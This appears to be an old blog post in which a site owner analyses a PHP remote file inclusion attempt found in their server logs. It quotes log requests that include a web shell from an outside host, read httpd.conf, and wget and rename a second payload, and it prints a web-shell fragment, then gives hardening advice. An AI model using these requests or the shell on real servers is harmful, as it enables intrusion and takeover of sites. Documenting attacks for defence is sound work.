New (Old) Exploit for PHP's fopen() discovered once more..

While browsing my logs today, I discovered someone attempting to exploit PHP’s fopen() support for URLs , This specific form of expoit dates back to at least 2003.

The relevent information (from the cached page above – it doesn’t work here, so all you’d see was the first negated attempt):

“GET
/index.php?l=http://www.havenard.net/havenard/hack/cmd.txt?
&chdir=/usr/local/apache/conf&cmd=cat%20httpd.conf HTTP/1.1”

“GET
/index.php?l=http://www.havenard.net/havenard/hack/cmd.txt?
&chdir=/somewhere/writeable&cmd=wget%20http://www.havenard.net/havenard/4843term.txt HTTP/1.1”

“GET
/index.php?l=http://www.havenard.net/havenard/hack/cmd.txt?
&chdir=/somewhere/writeable&cmd=mv%204843term.txt%20terminal.php HTTP/1.1”

So, I looked at the script that was being linked to (as a text file, from a Geocities site; which still has ‘blocking’ disabled for text files – for some legacy reason). Below follows some of the code:

if (!empty($cmd)) { @passthru(”$cmd 2>&1”); $output = ob_get_contents(); if (!empty($output)) echo str_replace(”>”, ”>”, str_replace(”<”, ”<”, $output)); }

As you can see, this script is essentially just a wrapper for exec, using the syntax of a few parameters passed within $_GET[“cmd”].. only, not quite that smart.

It’s incredibly simple, old, and, well, sadly quite effective – many people still don’t secure their site, and blindly write code which works as the following:

if ( ! $var ) $var = “var”;
require(”$var.html”);

The above code is beyond bad. For one, it doesn’t define a local path, which could easily be fixed with:

require(”./$var.html”); (although, I still don’t agree with this method – and this STILL isn’t failsafe.)

I hate global variables, but once you parse your config, you can read the whole thing into an array of a single variable, which you don’t expose – except where you have to.

This is also pretty messy: It allows you to only access one global variable; however, it discloses everything in it’s array, which I consider to be bogus.

Protip: If you don’t need to open files from an external site (which you shouldn’t need to do.. and if you do, use sockets, or a PEAR library), turn off url access in fopen(). This is configurable in php.ini.